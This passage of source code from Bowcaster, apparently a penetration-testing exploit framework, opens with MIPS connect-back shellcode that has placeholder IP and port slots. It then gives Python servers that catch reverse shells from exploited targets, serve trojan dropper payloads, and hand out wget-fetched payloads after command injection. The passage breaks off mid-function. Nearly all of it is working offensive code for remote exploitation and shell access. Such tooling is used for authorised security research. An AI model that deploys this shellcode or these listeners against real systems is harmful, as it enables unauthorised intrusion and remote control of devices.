t7,-12(sp) 89 | "\x72\x70\x0e\x3c", # lui t6,0x7072 "pr" 90 | "\x2f\x64\xce\x35", # ori t6,t6,0x642f "d/" 91 | "\xf8\xff\xae\xaf", # sw t6,-8(sp) 92 | "\xfc\xff\xa0\xaf", # sw zero,-4(sp) 93 | "\xf4\xff\xa4\x27", # addiu a0,sp,-12 94 | "\x11\x01\x05\x24", # li a1,273 95 | "\xff\x01\x06\x24", # li a2,511 96 | "\xa5\x0f\x02\x24", # li v0,4005 97 | "\x0c\x01\x01\x01", # syscall 0x40404 98 | "\xd4\xff\xa2\xaf", # sw v0,-44(sp) 99 | "\xfd\xff\x0f\x24", # li t7,-3 100 | "\x27\x28\xe0\x01", # nor a1,t7,zero 101 | "\xe2\xff\xa5\xaf", # sw a1,-30(sp) 102 | "\xe2\xff\xa4\x8f", # lw a0,-30(sp) 103 | "\xff\xff\x06\x28", # slti a2,zero,-1 104 | "\x57\x10\x02\x24", # li v0,4183 105 | "\x0c\x01\x01\x01", # syscall 0x40404 106 | "\xff\xff\xa2\xaf", # sw v0,-1(sp) 107 | "\xff\xff\xa4\x8f", # lw a0,-1(sp) 108 | "\xe2\xff\xa5\xaf", # sw a1,-30(sp) 109 | "PORT1PORT2\x0e\x3c", # lui t6,0x901f port 8080 110 | "PORT1PORT2\xce\x35", # ori t6,t6,0x901f port 8080 111 | "\xe4\xff\xae\xaf", # sw t6,-28(sp) 112 | "IP2IP3\x0d\x3c", # lui t5, 113 | "IP0IP1\xad\x35", # ori t5,t5, 114 | "\xe6\xff\xad\xaf", # sw t5,-26(sp) 115 | "\xe2\xff\xa5\x27", # addiu a1,sp,-30 116 | "\xef\xff\x0c\x24", # li t4,-17 117 | "\x27\x30\x80\x01", # nor a2,t4,zero 118 | "\x4a\x10\x02\x24", # li v0,4170 119 | "\x0c\x01\x01\x01", # syscall 0x40404 120 | "\xff\xff\x06\x28", # slti a2,zero,-1 121 | "\xd4\xff\xa4\x8f", # lw a0,-44(sp) 122 | "\xd0\xff\xa5\x27", # addiu a1,sp,-48 123 | "\xa4\x0f\x02\x24", # li v0,4004 124 | "\x0c\x01\x01\x01", # syscall 0x40404 125 | "\xff\xff\xa4\x8f", # lw a0,-1(sp) 126 | "\xd0\xff\xa5\x27", # addiu a1,sp,-48 127 | "\xff\x0f\x06\x28", # slti a2,zero,4095 128 | "\xa3\x0f\x02\x24", # li v0,4003 129 | "\x0c\x01\x01\x01", # syscall 0x40404 130 | "\xf6\xff\x40\x1c", # bgtz v0,88 131 | "\xa6\x0f\x02\x24", # li v0,4006 132 | "\x0c\x01\x01\x01", # syscall 0x40404 133 | "\xd4\xff\xa4\x8f", # lw a0,-44(sp) 134 | "\xa6\x0f\x02\x24", # li v0,4006 135 | "\x0c\x01\x01\x01", # syscall 0x40404 136 | "\xf4\xff\xa4\x27", # addiu a0,sp,-12 137 | "\xd0\xff\xa4\xaf", # sw a0,-48(sp) 138 | "\xd4\xff\xa2\xaf", # sw v0,-44(sp) 139 | "\xff\xff\x06\x28", # slti a2,zero,-1 140 | "\xab\x0f\x02\x24", # li v0,4011 141 | "\x0c\x01\x01\x01" # syscall 0x40404 142 | ],'') 143 | 144 | def __init__(self,connectback_ip,endianness,port=8080): 145 | """ 146 | Class constructor. 147 | 148 | Parameters: 149 | ----------- 150 | connectback_ip: IP Address to connect back to. 151 | endianness: Endianness of the target. one of LittleEndian or BigEndian, 152 | (imported from bowcaster.common.support). 153 | port: Optional parameter specifying TCP port to connect back to. 154 | Defaults to 8080. 155 | 156 | Attributes: 157 | ----------- 158 | shellcode: The string representing the payload's shellcode, ready to add 159 | to an exploit buffer. 160 | 161 | Notes: 162 | ------ 163 | Currently only LittleEndian is implemented. 164 | Although this payload is free of common bad characters such as nul bytes 165 | and spaces, your IP address or port may introduce bad characters. If so, 166 | you may need to use an encoder. 167 | """ 168 | self.endianness=endianness 169 | port=int(port) 170 | shellcode=self.__class__.shellcodes[endianness] 171 | i = 0 172 | for c in socket.inet_aton(connectback_ip): 173 | shellcode = shellcode.replace("IP%d" % i, c) 174 | i+=1 175 | shellcode=shellcode.replace("PORT1",chr(port >> 8)) 176 | shellcode=shellcode.replace("PORT2",chr(port & 0xFF)) 177 | self.shellcode=shellcode 178 | 179 | if hackers_quotes: 180 | hackers_quotes.log_random_quote() 181 | 182 | 183 | 184 | -------------------------------------------------------------------------------- /src/bowcaster/servers/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | 8 | class ServerException(Exception): 9 | pass 10 | 11 | from connectback_server import * 12 | from multiplexing_server import * 13 | from http_server import * 14 | 15 | 16 | 17 | __all__=["ConnectbackServer","TrojanServer","MultiplexingServer","HTTPConnectbackServer"] -------------------------------------------------------------------------------- /src/bowcaster/servers/connectback_server.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | import signal 8 | import socket 9 | import sys 10 | import os 11 | import select 12 | import traceback 13 | import errno 14 | from ..servers import ServerException 15 | from ..common.support import Logging 16 | from ..common import hackers_quotes 17 | 18 | class ConnectbackServer(object): 19 | """ 20 | A connect-back server class. 21 | 22 | This class provides a server that waits for an incoming connection from a 23 | connect-back payload and provides an interactive shell. Think "netcat 24 | listener" that has an API and can be used programmatically. 25 | """ 26 | 27 | MAX_READ=1024 28 | def __init__(self,connectback_ip,port=8080,startcmd=None,connectback_shell=True, 29 | logger=None,connected_event=None): 30 | """ 31 | Class constructor. 32 | 33 | Parameters 34 | ---------- 35 | connectback_ip: the address this server should bind to. 36 | port: Optional. The port this server should bind to. Default value is 37 | 8080. 38 | startcmd: Optional. A command string to issue to the remote host upon 39 | connecting. This could be a command to restart the exploited 40 | service, or to customize the interactive shell, e.g., '/bin/sh -i'. 41 | connectback_shell: Optional. This argument defaults to True, which is 42 | 99% of the time is what you need. See note. 43 | logger: Optional logger object. If none is provided, a logger will be 44 | instantiated with output to stdout. 45 | 46 | Note 47 | ---- 48 | If, say, you wanted to non-interactively exploit a target (or multiple 49 | targets) and automatically kick off a telnet sever on each one, then, 50 | for each exploited target, you could construct a ConnectbackServer like 51 | so: 52 | server=ConnectbackServer(connectback_ip,startcmd='/sbin/telnetd',connectback_shell=False) 53 | """ 54 | if logger: 55 | self.logger=logger 56 | else: 57 | self.logger=Logging() 58 | 59 | self.pid=None 60 | self.connectback_ip=connectback_ip 61 | self.port=port 62 | self.startcmd=startcmd 63 | self.connectback_shell=connectback_shell 64 | self.connected_event=connected_event 65 | 66 | def _handler(self,signum,frame): 67 | #print >>sys.stderr,"signal num %d\n"%signum 68 | self.keepgoing=False 69 | 70 | def _setup_signals(self): 71 | self.keepgoing=True 72 | signal.signal(signal.SIGINT,self._handler) 73 | signal.signal(signal.SIGTERM,self._handler) 74 | 75 | def _server(self): 76 | serversocket = socket.socket( 77 | socket.AF_INET,socket.SOCK_STREAM) 78 | serversocket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) 79 | 80 | serversocket.bind((self.connectback_ip,int(self.port))) 81 | serversocket.listen(5) 82 | return serversocket 83 | 84 | def _exit(self): 85 | #this prevents a hang in mod_wsgi, which traps sys.exit() 86 | os.execv("/bin/true",["/bin/true"]) 87 | 88 | def _serve_connectback_shell(self,serversocket): 89 | self._setup_signals() 90 | max_read=self.__class__.MAX_READ 91 | self.logger.LOG_INFO("Listening on port %d" % int(self.port)) 92 | self.logger.LOG_INFO("Waiting for incoming connection.") 93 | self.keepgoing=True 94 | 95 | 96 | (clientsocket,addess) = serversocket.accept() 97 | 98 | self.logger.LOG_INFO("Target has phoned home.") 99 | if self.connected_event: 100 | # let the caller know they have a connection 101 | self.connected_event.set() 102 | 103 | 104 | inputlist=[clientsocket,sys.stdin] 105 | 106 | 107 | if None != self.startcmd: 108 | clientsocket.send(self.startcmd+"\n") 109 | #clientsocket.send("exec /bin/sh -i\n") 110 | 111 | if self.connectback_shell: 112 | self.keepgoing=True 113 | else: 114 | self.keepgoing=False 115 | 116 | while self.keepgoing==True: 117 | try: 118 | inp,outp,excep=select.select(inputlist,[],[]) 119 | for f in inp: 120 | if f is clientsocket: 121 | data=f.recv(max_read) 122 | if data: 123 | sys.stdout.write(data) 124 | sys.stdout.flush() 125 | else: 126 | data=sys.stdin.readline() 127 | if data: 128 | clientsocket.send(data) 129 | 130 | except Exception as e: 131 | #print traceback.format_exc() 132 | #print >>sys.stderr,str(e) 133 | self.keepgoing=False 134 | self.logger.LOG_INFO("Closing connection.") 135 | clientsocket.shutdown(socket.SHUT_RDWR) 136 | clientsocket.close() 137 | 138 | 139 | def wait(self): 140 | """ 141 | Wait for server to shut down. The server will shut down when 142 | the remote end has close the connection. 143 | """ 144 | if not self.pid: 145 | return None 146 | 147 | signal.signal(signal.SIGINT,self._handler) 148 | self.keep_going=True 149 | status=(0,0) 150 | while self.keep_going: 151 | try: 152 | status=os.waitpid(self.pid,0) 153 | self.keep_going=False 154 | except OSError as ose: 155 | if not ose.errno == errno.EINTR: 156 | self.keep_going = False 157 | 158 | signal.signal(signal.SIGINT,signal.SIG_DFL) 159 | self.pid=None 160 | return status[1] 161 | 162 | def shutdown(self): 163 | """ 164 | Shut down the server. 165 | 166 | This should only be necessary if the server has not yet received a 167 | connection (e.g., remote exploit failed) 168 | or when the remote end won't close the connection. 169 | 170 | In the event the server has received a connection, it should shutdown 171 | gracefully when the connection is closed at the remote end. 172 | """ 173 | if not self.pid: 174 | return 175 | try: 176 | os.kill(self.pid,signal.SIGTERM) 177 | except Exception as e: 178 | self.logger.LOG_WARN("Error shutting down server: %s" % str(e)) 179 | 180 | 181 | def serve(self): 182 | """ 183 | Serve connect-back shell. 184 | 185 | This function forks and returns the child PID. The child exits without 186 | returning. 187 | 188 | If connectback_shell is False and startcmd is None, this function 189 | returns None immediately without forking. 190 | 191 | If server fails to bind an error is logged, and any exception is passed 192 | up to the caller. 193 | """ 194 | 195 | if hackers_quotes: 196 | hackers_quotes.log_random_quote() 197 | 198 | if self.connectback_shell or self.startcmd: 199 | if self.pid: 200 | raise ServerException("There is an existing child process. Pid: %d" %self.pid) 201 | try: 202 | serversocket=self._server() 203 | except Exception as e: 204 | self.logger.LOG_WARN("There was an error creating server socket: %s" % str(e)) 205 | raise e 206 | self.pid=os.fork() 207 | if self.pid and self.pid > 0: 208 | serversocket.close() 209 | return self.pid 210 | else: 211 | try: 212 | self._serve_connectback_shell(serversocket) 213 | except Exception as e: 214 | self.logger.LOG_WARN("There was an error serving shell: %s" % str(e)) 215 | 216 | serversocket.shutdown(socket.SHUT_RDWR) 217 | serversocket.close() 218 | self._exit() 219 | else: 220 | return None 221 | 222 | 223 | class TrojanServer(ConnectbackServer): 224 | """ 225 | A server that supports the TrojanDropper payload. 226 | 227 | This server will serve up each of a list of file provided to the constructor. 228 | At the end of the list, if connect_back_shell is True, it will serve a shell 229 | just like ConnectbackServer does. 230 | 231 | An ideal use case is to have the TrojanDropper download and execute a 232 | second stage payload, that in turn downloads another file (i.e. wget or nc) 233 | then pops a connect-back shell. 234 | 235 | See stage2dropper.c in contrib for an example. 236 | """ 237 | def __init__(self,connectback_ip,files_to_serve,port=8080,startcmd=None,connectback_shell=False, 238 | logger=None,connected_event=None): 239 | """ 240 | Constructor. 241 | 242 | Parameters 243 | ---------- 244 | connectback_ip: the address this server should bind to. 245 | files_to_serve: A list of files to serve up to the target. One file is 246 | served per client. 247 | port: Optional. The port this server should bind to. Default value is 248 | 8080. 249 | startcmd: Optional. A command string to issue to the remote host upon 250 | connecting. This could be a command to restart the exploited 251 | service, or to customize the interactive shell, e.g., '/bin/sh -i'. 252 | connectback_shell: Optional. This argument defaults to True, which is 253 | 99% of the time is what you need. See note. 254 | logger: Optional logger object. If none is provided, a logger will be 255 | instantiated with output to stdout. 256 | 257 | """ 258 | super(self.__class__,self).__init__(connectback_ip,port=port,startcmd=startcmd, 259 | connectback_shell=connectback_shell,logger=logger, 260 | connected_event=connected_event) 261 | self.files_to_serve=files_to_serve 262 | self.connectback_shell=connectback_shell 263 | 264 | 265 | def _sanity_check_files(self,files): 266 | problems={} 267 | for file in files: 268 | try: 269 | open(file,"r") 270 | except Exception as e: 271 | problems[file]=e 272 | 273 | return problems 274 | 275 | def _serve_file_to_client(self,filename,serversocket): 276 | data=open(filename,"r").read(); 277 | (clientsocket,address) = serversocket.accept() 278 | 279 | clientsocket.send(data) 280 | 281 | if self.connected_event: 282 | self.connected_event.set() 283 | 284 | clientsocket.shutdown(socket.SHUT_RDWR) 285 | clientsocket.close() 286 | 287 | 288 | def serve(self): 289 | """ 290 | Serve a list of one or more files to the target, and optionally serve a 291 | connect-back shell. 292 | 293 | This function forks and returns the child PID. The child exits without 294 | returning. 295 | """ 296 | 297 | if hackers_quotes: 298 | hackers_quotes.log_random_quote() 299 | 300 | try: 301 | serversocket=self._server() 302 | except Exception as e: 303 | self.logger.LOG_WARN("There was an error creating server socket: %s" % str(e)) 304 | raise e 305 | problems=self._sanity_check_files(self.files_to_serve) 306 | 307 | if len(problems) > 0: 308 | msg="There were problems with the following files:" 309 | for file,e in problems.items(): 310 | msg +="\n\t%s: %s" % (file,str(e)) 311 | raise ServerException(msg) 312 | 313 | self.pid=os.fork() 314 | if self.pid: 315 | return self.pid 316 | else: 317 | for _file in self.files_to_serve: 318 | self.logger.LOG_INFO("Waiting to send file: %s ..." % _file) 319 | self._serve_file_to_client(_file,serversocket) 320 | self.logger.LOG_INFO("Done with file: %s."% _file) 321 | 322 | 323 | 324 | if self.connectback_shell or self.startcmd: 325 | self.logger.LOG_INFO("Serving connectback_shell.") 326 | self._serve_connectback_shell(serversocket) 327 | 328 | serversocket.shutdown(socket.SHUT_RDWR) 329 | serversocket.close() 330 | self._exit() 331 | 332 | 333 | 334 | -------------------------------------------------------------------------------- /src/bowcaster/servers/http_server.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | 8 | 9 | import sys 10 | import signal 11 | import os 12 | import urlparse 13 | import time 14 | import traceback 15 | import errno 16 | from Queue import Queue,Empty 17 | from threading import Thread 18 | from BaseHTTPServer import HTTPServer,BaseHTTPRequestHandler 19 | 20 | from ..servers import ServerException 21 | from ..common.support import Logging 22 | 23 | 24 | class HTTPConnectbackServer(object): 25 | """ 26 | An HTTP Connect-back server class. 27 | 28 | This class provides a server that waits for an incoming HTTP GET from an 29 | exploited target in order to serve up a requested payload to the target. 30 | The server will serve up each file in the provided list of files one time, 31 | then terminate. 32 | 33 | This class is useful for targets that have been exploited via command 34 | injection. For example, a wget command maybe executed on the target to 35 | retrieve a payload, and a subsequent command injection is used to execute 36 | the payload. In the case that multiple targets will be exploited, each 37 | requiring a customized payload, this HTTP server keeps track of which 38 | payloads have been served so that it may terminate once all have been 39 | served. 40 | """ 41 | def __init__(self,connectback_ip,files_to_serve,port=8080,docroot=None,logger=None,debug=False): 42 | """ 43 | Class constructor. 44 | 45 | Parameters 46 | ---------- 47 | connectback_ip: The address this server should bind to. 48 | files_to_serve: A list of files to serve up to the target. Each file 49 | is served exactly once. To serve a file more than once, include it 50 | in the list more than once. Once all files have been served, 51 | the server terminates. 52 | port: Optional. The port this server should bind to. Default value is 53 | 8080. 54 | logger: Optional. Logger object to send log output to. If none is 55 | provided, a logger will be instantiated with output to stdout. 56 | """ 57 | if not logger: 58 | logger=Logging() 59 | if debug: 60 | #TODO: wrap exception traceback printing in "if debug" 61 | logger.set_max_log_level(Logging.DEBUG) 62 | self.logger=logger 63 | 64 | self.server_address=(connectback_ip,port) 65 | self.files_to_serve=files_to_serve 66 | if not docroot: 67 | self.docroot=os.getcwd() 68 | else: 69 | self.docroot=docroot 70 | 71 | self.docroot=self.docroot+"/" 72 | problems=self._sanity_check_files(files_to_serve) 73 | if len(problems) > 0: 74 | msg="There were problems with the following files:" 75 | for file,e in problems.items(): 76 | msg +="\n\t%s: %s" % (file,str(e)) 77 | raise ServerException(msg) 78 | 79 | def _pipe_reader(self): 80 | line=self.readpipe.readline().rstrip() 81 | while line: 82 | self.logger.LOG_DEBUG("%s" % line) 83 | ipaddr,resp,request=line.split(":",2) 84 | if request in self.clients: 85 | self.clients[request].append((ipaddr,resp)) 86 | else: 87 | self.clients[request]=[(ipaddr,resp)] 88 | self.logger.LOG_DEBUG("Pipe reader got client %s requesting: %s" % (ipaddr,request)) 89 | line=self.readpipe.readline().rstrip() 90 | 91 | def _sanity_check_files(self,files): 92 | problems={} 93 | root=self.docroot 94 | for file in files: 95 | try: 96 | open(root+file,"r") 97 | except Exception as e: 98 | problems[file]=e 99 | 100 | return problems 101 | 102 | 103 | def _exit(self): 104 | #this prevents a hang in mod_wsgi, which traps sys.exit() 105 | try: 106 | os.execv("/bin/true",["/bin/true"]) 107 | except: 108 | sys.exit() 109 | 110 | def _handler(self,signum,frame): 111 | self.logger.LOG_DEBUG("[%d] Got signal %d" % (os.getpid(),signum )) 112 | if self.keepgoing: 113 | self.logger.LOG_DEBUG("[%d] Setting keepgoing=false." % os.getpid()) 114 | self.keepgoing=False 115 | self.logger.LOG_DEBUG("[%d] Raising exception." % os.getpid()) 116 | raise ServerException() 117 | 118 | def _setup_signals(self): 119 | self.keepgoing=True 120 | signal.signal(signal.SIGINT,self._handler) 121 | signal.signal(signal.SIGTERM,self._handler) 122 | 123 | def _serve_files(self): 124 | while self.keepgoing and self.httpd.more_files(): 125 | try: 126 | self.httpd.handle_request() 127 | except Exception as e: 128 | self.logger.LOG_INFO("[%d] http server caught an exception." % os.getpid()) 129 | #traceback.print_exc() 130 | self.keepgoing=False 131 | raise e 132 | 133 | self.logger.LOG_DEBUG("[%d] Writing to writepipe." % os.getpid()) 134 | 135 | try: 136 | client_tuple=self.httpd.clients.get(False) 137 | #192.168.1.1:200:index.html 138 | client_tuple_string="%s:%d:%s" % client_tuple 139 | self.logger.LOG_DEBUG("%s" % client_tuple_string) 140 | os.write(self.writepipe.fileno(),"%s\n" % client_tuple_string ) 141 | except Empty: 142 | pass 143 | 144 | 145 | def wait(self): 146 | """ 147 | Wait for the server to shut down. The server will terminate when it has 148 | served each file in the list provided to the constructor exactly once. 149 | """ 150 | if not self.pid: 151 | return None 152 | self._setup_signals() 153 | keepgoing=True 154 | status=(0,0) 155 | 156 | while keepgoing: 157 | try: 158 | self.logger.LOG_DEBUG("[%d] Attempting to wait() on pid: %d" % (os.getpid(),self.pid)) 159 | status=os.waitpid(self.pid,0) 160 | except OSError, e: 161 | keepgoing = False 162 | if not e.errno==errno.ECHILD: 163 | raise e 164 | except Exception as e: 165 | #traceback.print_exc() 166 | keepgoing=False 167 | raise e 168 | 169 | return status[1] 170 | 171 | def shutdown(self): 172 | """ 173 | Shut down the server. 174 | 175 | This should only be necessary if the server has not finished serving 176 | the list of files (e.g., the remote exploit has failed). 177 | 178 | In the event the server has served all the files in the list provided to 179 | the constructor, it will terminate on its own. 180 | """ 181 | self.logger.LOG_DEBUG("shutdown()"+str(self.pid)) 182 | if not self.pid: 183 | self.logger.LOG_DEBUG("[%d] This is the child. In shutdown() so exiting." % os.getpid()) 184 | self.writepipe.flush() 185 | self.writepipe.close() 186 | exit(1) 187 | self.logger.LOG_INFO("[%d] Shutting down server. PID: %d" % (os.getpid(),self.pid)) 188 | #traceback.print_stack() 189 | try: 190 | os.kill(self.pid,signal.SIGTERM) 191 | except OSError as ose: 192 | if ose.errno == errno.ESRCH: 193 | return 194 | else: 195 | self.logger.LOG_WARN("Error shutting down server: %s" % str(ose)) 196 | raise 197 | 198 | def serve(self): 199 | """ 200 | Serve a list of one or more files. 201 | 202 | This function returns the child PID. The child exits without 203 | returning. 204 | 205 | Parameters: None. 206 | """ 207 | try: 208 | self.httpd=_LimitedHTTPServer(self.server_address, 209 | _LimitedHTTPRequestHandler, 210 | files_to_serve=self.files_to_serve, 211 | docroot=self.docroot) 212 | except Exception as e: 213 | self.logger.LOG_WARN("There was an error creating the HTTP server: %s" % str(e)) 214 | raise 215 | readpipe,writepipe=os.pipe() 216 | readpipe=os.fdopen(readpipe,'r',0) 217 | writepipe=os.fdopen(writepipe,'w',0) 218 | 219 | self.pid=os.fork() 220 | if self.pid: 221 | self.readpipe=readpipe 222 | writepipe.close() 223 | self.clients={} 224 | self.logger.LOG_DEBUG("Creating pipe reader thread.") 225 | self.pipe_reader_thread=Thread(target=self._pipe_reader) 226 | self.logger.LOG_DEBUG("Starting pipe reader thread.") 227 | self.pipe_reader_thread.start() 228 | self.httpd.socket.close() 229 | self.httpd=None 230 | return self.pid 231 | 232 | self.writepipe=writepipe 233 | readpipe.close() 234 | self._setup_signals() 235 | try: 236 | self._serve_files() 237 | except Exception as e: 238 | traceback.print_exc() 239 | self.logger.LOG_WARN("[%d] Caught exception while serving files. Exiting." % os.getpid()) 240 | 241 | 242 | self.logger.LOG_INFO("[%d] Shutting down." % os.getpid()) 243 | 244 | self.httpd.socket.close() 245 | self.httpd=None 246 | self._exit() 247 | 248 | 249 | 250 | class _LimitedHTTPServer(HTTPServer): 251 | def __init__(self,server_address,handler_class,docroot=None,files_to_serve=[],logger=None): 252 | if not logger: 253 | logger=Logging() 254 | self.logger=logger 255 | 256 | self.docroot=docroot 257 | if not docroot: 258 | self.docroot=os.getcwd() 259 | self.files_to_serve=[] 260 | for filename in files_to_serve: 261 | if not filename.startswith("/"): 262 | filename="/"+filename 263 | filename=self._sanitize_filename(filename) 264 | filename=self.docroot+filename 265 | self.files_to_serve.append(filename) 266 | self.clients=Queue() 267 | HTTPServer.__init__(self,server_address,handler_class) 268 | 269 | def _sanitize_filename(self,filename): 270 | while '/../' in filename: 271 | filename=filename.replace('/../','/') 272 | 273 | return filename 274 | 275 | def has_file(self,filename): 276 | logger=self.logger 277 | if filename in self.files_to_serve: 278 | return True 279 | return False 280 | 281 | def more_files(self): 282 | if len(self.files_to_serve) > 0: 283 | return True 284 | return False 285 | 286 | def remove_file(self,filename): 287 | if self.has_file(filename): 288 | self.files_to_serve.remove(filename) 289 | 290 | class _LimitedHTTPRequestHandler(BaseHTTPRequestHandler): 291 | TEXT_TYPES=[".txt",".htm",".html"] 292 | 293 | def log_message(self, fmt, *args): 294 | self.server.logger.LOG_DEBUG(fmt % (args)) 295 | 296 | def _get_content_type(self,filename): 297 | content_type='application/octet-stream' 298 | for type in self.TEXT_TYPES: 299 | if filename.endswith(type): 300 | content_type = "text/html" 301 | return content_type 302 | 303 | def do_GET(self): 304 | if self.server.logger: 305 | logger=self.server.logger 306 | else: 307 | logger=Logging() 308 | logger.LOG_INFO("Serving %s to %s\n" % (self.path, self.client_address[0])) 309 | 310 | filename=self.server.docroot+self.path 311 | if not self.path == "/": 312 | path=self.path.lstrip("/") 313 | else: 314 | path=self.path 315 | 316 | 317 | file_exists=False 318 | if self.server.has_file(filename): 319 | file_exists=True 320 | self.server.remove_file(filename) 321 | content_type=self._get_content_type(filename) 322 | try: 323 | f=open(filename) 324 | self.send_response(200) 325 | self.send_header('Content-type',content_type) 326 | self.end_headers() 327 | self.wfile.write(f.read()) 328 | f.close() 329 | self.server.clients.put((self.client_address[0],200,path)) 330 | except Exception as e: 331 | logger.LOG_WARN("Error serving file: %s" % self.path) 332 | logger.LOG_WARN("%s" % str(e)) 333 | file_exists=False 334 | else: 335 | logger.LOG_WARN("Server doesn't have file: %s" % self.path) 336 | 337 | 338 | if not file_exists: 339 | self.server.clients.put((self.client_address[0],404,path)) 340 | self.send_error(404,'File Not found: %s' % self.path) 341 | 342 | 343 | 344 | 345 | -------------------------------------------------------------------------------- /src/bowcaster/servers/multiplexing_server.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | 8 | import os 9 | import signal 10 | import socket 11 | import select 12 | import errno 13 | 14 | from connectback_server import ConnectbackServer 15 | 16 | class MultiplexingServer(ConnectbackServer): 17 | """ 18 | A forking connect-back server that accepts and proxies multiple connections. 19 | 20 | Connect-back payloads from multiple exploited targets can connect back to 21 | this server, and it will forward those connections on to the connect-back 22 | endpoints provided to the constructor. 23 | 24 | An example use case is a single exploit that will cause multiple devices 25 | to connect back to the same host and port. This server will accept all of 26 | those simultaneous connections and proxy them to the appropriate connect-back 27 | servers. 28 | 29 | """ 30 | 31 | def __init__(self,connectback_ip,outbound_addresses,port=8080,outbound_ports=[],logger=None,connected_event=None): 32 | """ 33 | Class constructor. 34 | 35 | Parameters 36 | ---------- 37 | connectback_ip: The address this server should bind to. 38 | outbound_addresses: A list of addresses that this server should connect 39 | to in turn. If the same address is listed multiple times, it will 40 | be connected to multiple times. When a connection has been forwarded 41 | to each address in the list, the server terminates. 42 | port: Optional. The port this server should bind to. Default value is 43 | 8080. 44 | outbound_ports: Optional. a list of outbound ports corresponding to 45 | the addresses listed in oubound_addresses. If no list is provided, 46 | the outbound ports will start with the listening port+1, and 47 | and increment by one for each additional connection. If a list is 48 | provided but contains fewer ports than outbound addresses, the 49 | the remaining outbound ports will begin incrementing by one from the 50 | last port listed and used. 51 | logger: Optional logger object. If none is provided, a logger will be 52 | instantiated with output to stdout. 53 | 54 | Examples 55 | -------- 56 | Listen on the default port of 8080, accept two connections on 192.168.0.1, 57 | and forward them to localhost ports 8081 and 8082 before terminating. 58 | server=MultiplexingServer("192.168.0.1",["127.0.0.1","127.0.0.1"]) 59 | 60 | Same as above, but forward to ports 9000 and 9001: 61 | server=MultiplexingServer("192.168.0.1",["127.0.0.1","127.0.0.1"], 62 | outbound_ports=[9000,9001]) 63 | 64 | Same as above, but forward to ports 8082 and 8082+1: 65 | server=MultiplexingServer("192.168.0.1",["127.0.0.1","127.0.0.1"], 66 | outbound_ports=[8082]) 67 | 68 | """ 69 | super(self.__class__,self).__init__(connectback_ip,port=port,connectback_shell=False,logger=logger, 70 | connected_event=connected_event) 71 | 72 | self.outbound_ports=outbound_ports 73 | self.start_port=None 74 | if len(outbound_ports) == 0: 75 | self.start_port=self.port+1 76 | elif len(outbound_ports) == 1: 77 | self.start_port=outbound_ports[0] 78 | 79 | self.outbound_addresses=outbound_addresses 80 | self.pid=None 81 | self.child_pids=[] 82 | 83 | def _handle_connection(self,clientsocket,serversocket,address,port): 84 | logger=self.logger 85 | 86 | pid=os.fork() 87 | if pid and pid > 0: 88 | clientsocket.close() 89 | return pid 90 | else: 91 | serversocket.close() 92 | logger.LOG_DEBUG("Handling incoming connection. Pid %d" % os.getpid()) 93 | 94 | outsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 95 | try: 96 | logger.LOG_DEBUG("Connecting to %s:%s" % (address,port)) 97 | outsocket.connect((address,port)) 98 | except Exception as e: 99 | logger.LOG_WARN("There was an error connecting to %s:%d. %s" % (str(address),port,str(e))) 100 | self._exit() 101 | 102 | self._setup_signals() 103 | max_read=self.__class__.MAX_READ 104 | inputlist=[clientsocket,outsocket] 105 | self.keepgoing=True 106 | while self.keepgoing: 107 | try: 108 | logger.LOG_DEBUG("Selecting.") 109 | logger.LOG_DEBUG("Client socket: %d" % clientsocket.fileno()) 110 | inp,outp,excep=select.select(inputlist,[],[]) 111 | for f in inp: 112 | if f is clientsocket: 113 | data=f.recv(max_read) 114 | if data: 115 | logger.LOG_DEBUG("Got %d bytes from client." % len(data)) 116 | outsocket.send(data) 117 | else: 118 | logger.LOG_INFO("Client closed connection.") 119 | self.keepgoing=False 120 | elif f is outsocket: 121 | data=f.recv(max_read) 122 | if data: 123 | logger.LOG_DEBUG("Got %d bytes from outbound socket." % len(data)) 124 | clientsocket.send(data) 125 | else: 126 | logger.LOG_INFO("Shell server closed connection.") 127 | self.keepgoing=False 128 | else: 129 | logger.LOG_WARN("select return ") 130 | 131 | except Exception as e: 132 | logger.LOG_DEBUG("Error selecting: %s" % str(e)) 133 | self.keepgoing=False 134 | 135 | self.logger.LOG_INFO("Closing connection to %s:%d" % (str(address),port)) 136 | outsocket.shutdown(socket.SHUT_RDWR) 137 | outsocket.close() 138 | 139 | self.logger.LOG_INFO("Closing connection to client.") 140 | clientsocket.shutdown(socket.SHUT_RDWR) 141 | clientsocket.close() 142 | 143 | 144 | self._exit() 145 | 146 | 147 | 148 | def _next_port(self): 149 | if len(self.outbound_ports) > 0: 150 | port=self.outbound_ports.pop(0) 151 | else: 152 | self.logger.LOG_DEBUG("start_port: %s" % self.start_port) 153 | port=self.start_port 154 | self.start_port +=1 155 | return port 156 | 157 | def _serve_multiplexer(self,serversocket): 158 | logger=self.logger 159 | self._setup_signals() 160 | logger.LOG_INFO("Listening on port %d" % int(self.port)) 161 | logger.LOG_INFO("Waiting for incoming connection.") 162 | self.keepgoing=True 163 | 164 | while (len(self.outbound_addresses) > 0) and self.keepgoing: 165 | logger.LOG_INFO("Accepting incoming connection.") 166 | (clientsocket,address) = serversocket.accept() 167 | logger.LOG_INFO("Target %s has phoned home" % address[0]) 168 | logger.LOG_DEBUG("Client socket: %d" % clientsocket.fileno()) 169 | try: 170 | address=self.outbound_addresses.pop(0) 171 | port=self._next_port() 172 | pid=self._handle_connection(clientsocket,serversocket,address,port) 173 | logger.LOG_DEBUG("Launched handler. Pid: %d" % pid) 174 | self.child_pids.append(pid) 175 | except Exception as e: 176 | logger.LOG_WARN("Error handling connection. %s" % str(e)) 177 | 178 | def _child_wait(self): 179 | 180 | if not len(self.child_pids) > 0: 181 | return 182 | 183 | self.keepgoing=True 184 | signal.signal(signal.SIGINT,self._handler) 185 